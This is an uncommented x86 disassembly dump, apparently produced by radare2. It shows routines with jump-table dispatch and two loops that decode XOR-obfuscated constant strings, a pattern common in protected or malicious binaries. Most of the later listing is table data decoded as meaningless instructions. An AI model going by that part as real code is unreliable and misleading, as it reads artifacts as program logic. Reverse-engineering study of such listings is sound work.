mov byte [ebx], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
push dword [eax]
mov edi, dword [ebp - 0x3c]
push edi
push dword [ebp - 0x38]
call fcn.0040a630
jmp case.0x42431d.28
mov eax, ebx
mov byte [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x5c]
push dword [eax]
mov edi, dword [ebp - 0x3c]
push edi
mov ebx, dword [ebp - 0x38]
push ebx
call fcn.0040a630
jmp dword [0x4482b8]
mov eax, dword [ebp - 0x4c]
add eax, 0x1b
push eax
call fcn.00409cc0
add esp, 4
mov dword [esi], 0x686a684b
mov dword [esi + 4], 0x67697b76
mov dword [esi + 8], 0x66481378
mov dword [esi + 0xc], 0x3c637464
mov dword [esi + 0x10], 0x72667a5e
mov dword [esi + 0x14], 0x307a7878
mov word [esi + 0x18], 0x3231
mov byte [esi + 0x1a], 0xe2
mov ecx, dword [ebp - 0x68]
mov dword [ecx], 0
mov byte [ecx + 4], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x1f
ja 0x42463c
nop
nop
nop
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
add edx, 0xfa3a4f83
xor edx, ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
add dl, 0x81
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], dl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x20
jb 0x424610
mov dword [ebp - 0x3c], edi
movzx ecx, byte [esi]
mov ebx, eax
test cl, cl
je 0x42465b
mov edx, dword [ebp - 0x60]
mov ebx, eax
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x424650
mov dword [ebp - 0x38], eax
mov edi, dword [ebp - 0x40]
mov byte [ebx], 0
mov edx, dword [ebp - 0x50]
sub edi, edx
je 0x42458f
mov esi, dword [ebp - 0x30]
mov ecx, esi
xor ecx, 2
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x54], eax
sub ecx, eax
mov eax, edx
mov edx, dword [ebp - 0x34]
add edx, eax
and ecx, 3
je 0x4246b8
mov edi, esi
sub edi, eax
sub edi, dword [ebp - 0x20]
add edi, 0xfffffff6
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx + esi], al
inc esi
cmp ecx, esi
jne 0x4246a0
add ebx, esi
sub edi, esi
mov eax, ebx
jmp 0x4246b8
mov esi, dword [ebp - 0x30]
sub esi, dword [ebp - 0x54]
add esi, 0xfffffff5
cmp esi, 3
mov esi, dword [ebp - 0x24]
jb 0x424591
nop
nop
nop
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx], al
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx + 1], al
movzx eax, byte [edx]
cmp al, 1
sbb edx, 0xffffffff
mov byte [ebx + 2], al
movzx ecx, byte [edx]
cmp cl, 1
sbb edx, 0xffffffff
lea eax, [ebx + 4]
mov byte [ebx + 3], cl
mov ebx, eax
add edi, 0xfffffffc
jne 0x4246d0
jmp 0x424591
mov ecx, dword [ebp - 0x2c]
and cl, 1
or cl, al
mov dword [ebp - 0x2c], ecx
jmp dword [0x4482bc]
push ebx
call fcn.00409cd0
add esp, 4
jmp dword [0x4482c4]
jmp dword [0x4482c4]
push edi
call fcn.00409cd0
add esp, 4
mov eax, dword [case.0x42431d.6]
nop
jmp eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x1c], 0xd3d0d1d6
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
ja 0x42479e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0x1c]
add ecx, 0xb3ba1ca3
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add cl, 0x8a
mov edx, dword [ebp - 0x14]
mov byte [ebp + edx - 0x1c], cl
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x424770
mov ecx, dword [0x44ba98]
test ecx, ecx
je case.0x42431d.0
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov ebx, dword [0x44ba9c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x4247d0
inc esi
cmp ecx, esi
jne 0x4247c0
jmp case.0x42431d.0
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
je case.0x42431d.0
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
mov eax, dword [case.0x42431d.42]
mov edi, dword [ebp - 0x44]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x34]
jmp dword [0x4482ec]
push dword [ebp - 0x28]
call fcn.00409cd0
mov edx, dword [ebp - 0x34]
add esp, 4
jmp case.0x42431d.45
push eax
push 1
push dword [0x44baa0]
push ecx
call fcn.0043dc50
add esp, 0x10
mov eax, dword [ebp - 0x2c]
and al, 1
mov esi, dword [ebp - 0x48]
jmp dword [0x44830c]
int3
or eax, 0x119d0042
inc edx
add byte [eax - 0x4fffbdef], dh
adc dword [edx], eax
mov dl, 0x11
inc edx
add byte [eax + 0x30004211], dh
push cs
inc edx
add byte [eax], dh
push cs
inc edx
add byte [eax], dh
push cs
inc edx
add byte [edx], dh
push cs
inc edx
add cl, al
adc dword [edx], eax
inc ecx
push cs
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, al
adc dword [edx], eax
rcl byte [ecx], cl
inc edx
add bl, bl
adc dword [edx], eax
cmp eax, 0x5d004211
adc dword [edx], eax
cmp eax, 0x83004211
adc dword [edx], eax
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc dword [ecx], 0x42
add bl, ch
adc byte [edx], al
fst dword [eax]
inc edx
add byte [eax], bl
push cs
inc edx
add byte [eax], al
adc dword [edx], eax
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
das
adc dword [edx], eax
sbb byte [esi], cl
inc edx
add byte [edi + 0xe], cl
inc edx
add byte [eax], bl
push cs
inc edx
add byte [esi + 0x1100420e], al
cmovb eax, dword [eax]
sbb cl, byte [edi]
inc edx
add byte [ecx], cl
push cs
inc edx
add byte [edi + ecx], dh
inc edx
add byte [eax - 0x74ffbdf1], ah
adc byte [edx], al
cmpsd dword [esi], dword es:[edi]
adc al, byte [edx]
out 0x11, eax
inc edx
add byte [edi], ch
adc eax, dword [edx]
cmpsd dword [esi], dword es:[edi]
adc al, byte [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
rcl byte [ecx], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edi], dh
adc eax, dword [edx]
inc eax
adc eax, dword [edx]
daa
pop ss
inc edx
add byte [ebx + edx + 0x14d60042], bh
adc al, 0x42
adc al, 0x42
add byte [edx], al
pop ss
inc edx
add al, dh
adc eax, 0x15070042
inc edx
add al, dh
adc eax, 0x15ca0042
inc edx
add al, bl
adc eax, 0x15f00042
inc edx
add byte [ecx - 0xfffbdea], ah
push ss
inc edx
add al, dh
push ss
inc edx
add al, dh
push ss
inc edx
add byte [esi - 0x3dffbdea], bh
push ss
inc edx
add byte [eax], al
pop ss
inc edx
add byte [eax], al
pop ss
inc edx
add byte [eax], al
pop ss
inc edx
add byte [edx], al
pop ss
inc edx
add byte [ecx], dl
pop ss
inc edx
add byte [eax + 0x27004213], ah
pop ss
inc edx
add byte [ebp + 0x27004213], dh
pop ss
inc edx
add byte [ebp + 0x39004213], dh
pop ss
inc edx
add byte [ecx + 0x17], bl
inc edx
add byte [eax + 0x17], ah
inc edx
add byte [eax + 0x17], ah
inc edx
add byte [eax + 0x17], ah
inc edx
add byte [edx + 0x17], ah
inc edx
add byte [eax + ebx + 0x18a50042], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x1004218], ah
add byte [eax], al
add byte [ecx + ebx + 0x42], ch
add byte [ebp - 0x70ffbde8], dh
sbb dword [edx], eax
mov edi, 0x71004219
sbb eax, dword [edx]
jmp 0x6244c1be
push ds
inc edx
add byte [esi - 0x60ffbde1], bl
and dword [edx], eax
rcr dword [edi], 1
inc edx
add bh, dl
pop ds
inc edx
add byte [eax], al
and byte [edx], al
add byte [eax], ah
inc edx
add byte [ebx], ch
and byte [edx], al
mov ah, byte [ecx]
inc edx
add byte [eax + 0x20], cl
inc edx
add byte [edi + 0x21], ah
inc edx
add byte [ecx + 0x67004220], dh
and dword [edx], eax
xlatb
and al, 66
add byte [edi + 0x21], ah
inc edx
add byte [edi], al
and eax, 0x24f40042
inc edx
add byte [ecx + 0x25], cl
inc edx
add byte [ebx - 0x38ffbdda], ah
inc edx
add bh, al
inc edx
add bh, al
and eax, 0x25b00042
inc edx
add byte [edx], ch
inc edx
and eax, 0x262a0042
inc edx
add dl, al
sub dword [edx], eax
aad 0x29
inc edx
add dl, al
sub dword [edx], eax
mov bh, 0x26
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x1004226], dh
add byte [eax], al
add byte [edx], bl
daa
inc edx
add dh, ch
inc edx
add byte [esi], cl
daa
inc edx
add al, dl
inc edx
add byte [edx], bl
daa
inc edx
add bl, bl
inc edx
add byte [eax], ch
daa
inc edx
add byte [0xca004227], bh
daa
inc edx
add ah, dl
daa
inc edx
add dh, ch
sub byte [edx], al
fisub dword [edi]
inc edx
add byte [eax - 0x11ffbdd8], dh
sub byte [edx], al
lds ebp, [eax]
inc edx
add ah, dh
and al, 0x42
add byte [ebp + 0x21], ch
inc edx
add byte [edx - 0x6fffbddf], cl
and dword [edx], eax
lahf
and dword [edx], eax
jnp 0x4480fc
inc edx
add byte [eax + 0x22], dh
inc edx
add byte [esi + 0x22], bh
inc edx
add byte [edx + 0x4900421e], dl
pop ds
inc edx
add byte [edx + 0x1f], dl
inc edx
add byte [edi - 0x6ffbdd3], dh
sub eax, 0x2df90042
inc edx
add byte [ecx], al
invalid
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov bh, 0x2d
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x36ffbdd3], bh
sub eax, 0x2f8a0042
inc edx
add byte [eax - 0x4bffbdd1], dh
inc edx
add bh, dl
das
inc edx
add byte [edi + 0x12004236], bl
xor byte [edx], al
lahf
inc edx
add byte [eax + 0x30], cl
inc edx
add byte [esi + 0x30], cl
inc edx
add byte [esi], bh
xor al, byte [edx]
xor al, byte ds:[edx]
insd dword es:[edi], dx
xor al, 66
add byte [ebx + 0x34], bh
inc edx
add byte [ebx - 0x32ffbdcc], al
xor al, 0x42
add byte [ebx - 0x74ffbdcb], cl
xor eax, 0x36400042
inc edx
add byte [eax + 0x36], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [eax + 0x36], al
inc edx
add byte [esi + 0x36], al
inc edx
add byte [edx + 0x36], ah
inc edx
add byte [ebx + 0x36], ch
inc edx
add byte [edx - 0x6cffbdca], cl
inc edx
add byte [ebp - 0x4bffbdca], ah
inc edx
add byte [edx + 0x5600422f], dl
aaa
inc edx
add al, ah
sub eax, 0x37600042
inc edx
add byte [edx + 0x3a], ah
inc edx
add byte [edi + 0x6800423a], cl
cmp al, byte [edx]
cmp byte [edx], 0x42
add byte [edi - 2147466694], cl
cmp al, byte [edx]
xchg ebp, eax
cmp al, byte [edx]
loopne 0x4481df
inc edx
add byte [eax - 0x4fffbdc6], dh
cmp al, byte [edx]
loopne 0x4481eb
inc edx
add byte [eax - 0x24ffbdc6], dh
cmp eax, 0x3bdf0042
inc edx
add bl, bl
cmp eax, 0x3fb10042
inc edx
add byte [ebp - 0x25ffbdc1], bh
aas
inc edx
add byte [esi + 0x40], dl
inc edx
add ch, bh
aas
inc edx
add byte [edx], dh
inc eax
inc edx
add dl, bh
inc eax
inc edx
add al, ch
inc ecx
inc edx
add byte [edx], dh
inc eax
inc edx
add byte [ecx], dh
inc edx
inc edx
add byte [eax + 0x41004243], dh
inc edx
inc edx
add byte [eax + 0x50004243], dh
inc edx
inc edx
add byte [eax + 0x42], dl
inc edx
add byte [edx + 0x42], dl
inc edx
add byte [eax + 0x42], dl
inc edx
add byte [eax + 0x42], ah
inc edx
add byte [eax + 0x70004243], dh
inc edx
inc edx
add byte [eax - 0x7fffbdbd], dh
inc edx
inc edx
add byte [eax - 0x3fffbdbd], dh
inc ebx
inc edx
add al, al
inc ebx
inc edx
add byte [eax], ah
inc ecx
inc edx
add al, al
inc ebx
inc edx
add dl, ch
inc edi
inc edx
add byte [ebx + eax*2], ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx + 0x48], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x47], al
inc edx
add byte [eax + 0x43], dl
inc edx
add byte [eax + 0x43], ah
inc edx
add byte [eax + 0x43], ah
inc edx
add byte [eax + 0x43], ah
inc edx
add byte [ebx + 0x43], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax + 0x1004243], dl
add byte [eax], al
add byte [eax - 0x6fffbdbd], dl
inc ebx
inc edx
add byte [edx - 0x6fffbdbd], dl
inc ebx
inc edx
add byte [ebx], ch
inc edi
inc edx
add byte [esi - 0x8ffbdbd], bl
inc ebx
inc edx
add byte [eax], dl
inc esp
inc edx
add byte [eax], dl
inc esp
inc edx
add byte [eax], dl
inc esp
inc edx
add byte [eax], dl
inc esp
inc edx
add byte [esi], dl
inc esp
inc edx
add byte [edi + 0x2d004245], ch
inc esp
inc edx
add byte [edi + 0xb004245], ch
inc edi
inc edx
add byte [edi + eax*2], bl
inc edx
add byte [ebx], ch
inc edi
inc edx
add byte [ecx], dh
inc edi
inc edx
add byte [edx + 0x47], al
inc edx
add byte [eax + 0x47], al
inc edx
add byte [eax + 0x47], al
inc edx
add byte [edx + 0x47], al
inc edx
add byte [eax + 0x47], al
inc edx
add byte [eax], al
dec eax
inc edx
add byte [eax], al
dec eax
inc edx
add byte [edx], al
dec eax
inc edx
add byte [eax], al
dec eax
inc edx
add byte [esi], cl
dec eax
inc edx
add byte [eax], ah
inc ecx
inc edx
add byte [eax], bh
inc eax
inc edx
add byte [eax + 0x40], dl
inc edx
add byte [eax + 0x40], dl
inc edx
add byte [eax + 0x40], dl
inc edx
add byte [esi + 0x40], dl
inc edx
add byte [eax + 0x40], dl
inc edx
add ch, al
aas
inc edx
add dl, dl
aas
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x65], cl
inc edx
add ch, cl
inc edx
add byte [esi - 0x10ffbd99], ah
bound eax, qword [edx]
mov fs, word [esi + 0x42]
add ah, bl
inc dx
add byte [ecx + 0x65], ah
inc edx
add byte [eax], bl
inc dx
add byte [eax], ch
inc edx
add byte [edi + ebx*2 + 0x42], bh
add byte [ebp + 0x7f004265], al
imul eax, dword [edx], 0x425e7a
adc ebx, dword [edi + 0x42]
add byte [esp], al
inc edx
add byte [edx + 0x63], bl
inc edx
add ah, ch
pop esi
inc edx
add ch, al
pop esi
inc edx
add byte [ecx - 0x56ffbd96], bh
inc edx
add byte [ebp - 0x34ffbd96], dl
imul eax, dword [edx], 0x4263b9
outsd dx, dword [esi]
outsb dx, byte [esi]
inc edx
add byte [ecx + 0x6a], dh
inc edx
add bh, ch
imul eax, dword [edx], 0x42686d
dec eax
outsb dx, byte [esi]
inc edx
add byte [esi], dh
imul eax, dword [edx], 0x42617f
and eax, 0xc8004267
popal
inc edx
add al, bl
inc edx
add byte [ebx], ch
insb byte es:[edi], dx
inc edx
add byte [ebp - 0x7cffbd9c], cl
imul eax, dword [edx], 0xffffffb1
inc edx
add byte [esi + 0x63], bh
inc edx
add byte [ecx + 0x3a00425e], ah
push 0x42
add byte [esi], bh
inc edx
add byte [ebp - 0x3ffbd9a], dh
inc edx
add byte [ebx], dl
push 0x42
add byte [esi + 0x62], dl
inc edx
add byte [edx], dh
bound eax, qword [edx]
jp 0x44843c
inc edx
add dl, bl
imul eax, dword [edx], 0x23
inc edx
add al, ah
arpl word [edx], ax
hlt
dec esp
inc edx
add byte [ebp - 0x1fffbd9d], ah
push 0x42
add byte [ecx - 0x5fffbd99], cl
pop edi
inc edx
add byte [ebp + 0x5e], cl
inc edx
add byte [esp + 0x42], ch
add byte [edx + 0x5f], cl
inc edx
add byte [edi], dh
pop edi
inc edx
add byte [ecx], bl
add byte [edx], 0x19
jnp 0x4484a9
add byte [esi + 0x77], ah
inc edx
add byte [edx + eax*4], al
inc edx
add byte [esi - 0x7a], dh
inc edx
add byte [esi + 0x7a], ah
inc edx
add byte [edi - 0x78], ch
inc edx
add byte [esi - 0x80], cl
inc edx
add bh, dh
add byte [edx], 0xa2
test dword [edx], eax
ret 0x427e
jle 0x4484ed
add byte [esi - 0x5dffbd80], cl
add dword [edx], 0xffffffd7
xchg dword [edx], eax
fld qword [ebx - 0x7f50ffbe]
inc edx
add byte [edi - 0x75], ah
inc edx
add byte [ecx - 0x75ffbd82], ah
ja 0x44850d
add cl, dh
mov eax, dword [edx]
pop es
jg 0x448515
add ch, bh
jbe 0x448519
add ch, bh
xchg byte [edx], al
lodsb al, byte [esi]
mov eax, dword [edx]
mov ch, 0x79
inc edx
add dh, dl
jns 0x448529
add byte [ebp - 0x7e], ch
inc edx
add byte [ebp + 0x1f004287], dl
xchg dword [edx], eax
pop ds
jns 0x448535
add byte [0xb004280], ch
mov byte [edx], al
mov bh, byte [edx + 0x42]
add ch, dl
mov al, byte [edx]
or al, byte [ebp - 0x7e47ffbe]
inc edx
add byte [ecx], dh
xchg byte [edx], al
adc eax, 0x7a00428c
add dword [edx], 0x427745
fadd qword [esi - 0x7ad4ffbe]
inc edx
add byte [ecx], bh
mov word [edx], es
rol dword [edx - 0x756effbe], cl
inc edx
add byte [eax + 0x2100428b], cl
ja 0x44855d
add ah, bl
xchg byte [edx], al
sub eax, dword [ebp - 0x73c6ffbe]
inc edx
add bl, dl
add byte [edx], 0x91
mov al, byte [edx]
mov byte [ebx + 0x77210042], cl
inc edx
ja 0x448579
add byte [ecx + 0x4c00427f], dl
add byte [edx], 0x92
js 0x448585
add byte [ebx - 0x75], al
inc edx
add byte [0xed004284], bh
jge 0x448591
add byte [eax + edi*2 + 0x42], cl
add byte [esi + 0x56004287], dh
add dword [edx], 0x428461
test byte [edx], al
push ds
xchg dword [edx], eax
adc al, 0x81
inc edx
add byte [edx + 0x5d004286], bl
add dword [edx], 0x4c
mov al, byte [edx]
sbb byte [ebx - 0x7b35ffbe], al
inc edx
add ah, cl
jge 0x4485c1
test byte [edx], al
int3
add byte [ebx + 0x52004286], bh
xchg byte [edx], al
sal byte [edi + 0x42], 1
add byte [eax], ch
add byte [edx], 0x4c
test dword [edx], eax
jo 0x448520
inc edx
add byte [edi], ch
mov byte [edx], al
xor eax, 0x21004281
add byte [0x21004281], dh
jp 0x4485e5
add ch, cl
mov eax, dword [edx]
test dword [edx + eax*2 + 0x427a4500], eax
add byte [edi], ch
jle 0x4485f5
add dl, ah
test dword [edx], eax
add dword [edx + eax*2 + 0x428c5d00], eax
add byte [eax + 0xe00428c], ah
mov word [edx], es
push cs
jle 0x448609
add bl, dh
add byte [edx], 0x7e
add dword [edx], 0x3c
add dword [edx], 0x64
jns 0x448619
add ah, dh
ja 0x44861d
add byte [ebx + 0x32004276], al
jl 0x448625
add cl, bh
mov al, byte [edx]
mov dl, 0x82
inc edx
add byte [edx - 0x79], al
inc edx
add bl, ch
test byte [edx], al
mov bl, pe_nt_image_headers32
inc edx
js 0x448639
add byte [esi - 0xfffbd7f], bl
jnp 0x448641
add bl, al
add dword [edx], 6
xchg byte [edx], al
insd dword es:[edi], dx
js 0x44864d
add al, cl
jp 0x448651
add al, al
mov dword [edx], eax
jo 0x44859b
inc edx
add byte [0xd0004278], al
js 0x44865d
add al, dl
add byte [edx], 0x6f
add byte [edx], 0xfb
mov dword [edx], eax
scasb al, byte es:[edi]
jp 0x44866d
add dl, bh
jns 0x448671
add byte [ebx], ch
jg 0x448675
add bl, al
jbe 0x448679
add bl, al
test dword [edx], eax
or dword [edx + eax*2 + 0x427b3d00], 0x42798500
add byte [ebp + 0x5e00428a], dh
jnp 0x448685
add byte [ebp - 0x4affbd87], al
mov al, byte [edx]
pop esi
jbe 0x448691
add byte [edx + 0x7e], ch
inc edx
jle 0x448695
add byte [edx], dh
js 0x448699
add cl, bl
add dword [edx], 0x4289e1
mov dword [edx], eax
cmp al, 0x76
inc edx
add byte [eax - 0x78], dl
inc edx
add byte [ebx], dl
jl 0x4486ad
add bh, bh
jp 0x4486b1
add dl, bh
jg 0x4486b5
add byte [ebx + ecx*4], ah
inc edx
add bl, bh
mov eax, dword [edx]
sti
xchg dword [edx], eax
xchg ebx, eax
mov byte [edx], al
pushal
jnp 0x4486c5
add byte [esi + 0x50004277], ch
jle 0x4486cd
ja 0x4486c9
add byte [eax + 0x7e], dl
inc edx
add dl, cl
jg 0x4486d1
add byte [edx + 0x2500427f], dh
jg 0x4486d5
add byte [0xb5004284], ah
test byte [edx], al
mov ch, 0x89
inc edx
add byte [ebx - 0x70], ch
inc edx
add byte [esi - 0x70], ah
inc edx
mov dword [edx], eax
imul edx, dword [eax - 0x6f99ffbe], 0x42
add byte [ebx], dh
xchg edx, eax
inc edx
add byte [eax - 0x8ffbd6b], cl
xchg ebp, eax
inc edx
add byte [ecx - 0x5ffbd6b], ah
xchg ebp, eax
inc edx
add dl, bh
mov eax, 0xb8ae0042
inc edx
add byte [edx], cl
cdq
inc edx
add byte [edx], cl
cdq
inc edx
add byte [esi - 0x7bffbd66], al
lcall 0x42, 0x9a840042
xchg edx, eax
lcall 0x42, 0x922e0042
or al, 0x9d
xchg edx, eax
inc edx
add byte [ebx*4 - 0x62d2ffbe], cl
popfd
inc edx
add byte [0xa800429d], ch
popfd
inc edx
add byte [eax - 0x57ffbd64], al
popfd
inc edx
add byte [eax - 0x76ffbd60], dl
mov al, byte [0xa8100042]
inc edx
popfd
inc edx
add byte [eax - 0x7fffbd63], ch
pushfd
inc edx
add byte [eax - 0x6fffbd63], ch
mov al, byte [0xa0890042]
inc edx
add byte [eax], dl
test al, 0x42
add byte [eax], ah
test al, 0x42
add byte [eax], dl
xchg edi, eax
inc edx
add byte [eax], dl
xchg edi, eax
inc edx
add byte [esi - 0x69], cl
inc edx
add al, dh
xchg edi, eax
inc edx
add byte [ebx - 0x69], ah
inc edx
add byte [eax + ebx*4 + 0x42], ch
add byte [edx - 0x69], dh
inc edx
add cl, dl
cwde
inc edx
add byte [eax], al
xchg edi, eax
inc edx
add byte [ecx], al
add byte [eax], al
add byte [eax], al
xchg edi, eax
inc edx
add dh, bh
cwde
inc edx
add byte [ecx + ebx*4], al
inc edx
add ah, ah
mov eax, 0xa8240042
inc edx
add byte [eax + ebp*4], ah
inc edx
add byte [ebx - 0x59], dh
inc edx
add byte [eax + ebp*4], ah
inc edx
add dl, bh
mov eax, 0xac600042
inc edx
add byte [esi - 0x54], dh
inc edx
add byte [esi - 0x54], dh
inc edx
add byte [eax - 0x5fffbd54], dl
lodsb al, byte [esi]
inc edx
add byte [edi - 0x52], ah
inc edx
add byte [edi - 0x52], ah
inc edx
add byte [eax - 0x7fffbd52], al
scasb al, byte es:[edi]
inc edx
add byte [edx - 0x7dffbd52], al
scasb al, byte es:[edi]
inc edx
add byte [esi - 0x5ffbd52], ah
mov eax, 0xb8fa0042
inc edx
add dh, ch
scasb al, byte es:[edi]
inc edx
add byte [edi + ebp*4], dl
inc edx
add byte [edi + ebp*4 + 0x42], bl
add byte [eax - 0x6a], ah
inc edx
add byte [ebx - 0x13ffbd6a], ah
xchg esi, eax
inc edx
add byte [esi - 0x51], ch
inc edx
add ah, ch
xchg esi, eax
inc edx
add byte [edx], bh
scasd eax, dword es:[edi]
inc edx
add ah, ch
xchg esi, eax
inc edx
add byte [eax - 0x6dffbd51], dl
scasd eax, dword es:[edi]
inc edx
add dl, cl
scasb al, byte es:[edi]
inc edx
add byte [edx - 0x13ffbd51], dl
mov bl, 0x42
add byte [edx], al
mov ah, 0x42
add ch, bh
mov ah, 0x42
add bh, ah
mov bl, 0x42
add byte [ecx], dh
mov eax, 0xb83a0042
inc edx
add byte [edx], bh
mov eax, 0xb8870042
inc edx
add byte [eax], ah
test al, 0x42
add byte [ecx], al
add byte [eax], al
add ah, dl
mov eax, 0xae800042
inc edx
add byte [esi - 0x6a], ah
inc edx
add byte [eax - 0x24ffbd51], dl
out dx, al
inc edx
add byte [ebp - 0x35], bl
inc edx
add ah, dl
mov esi, 0xcacc0042
inc edx
add ch, cl
jmp 0xef428840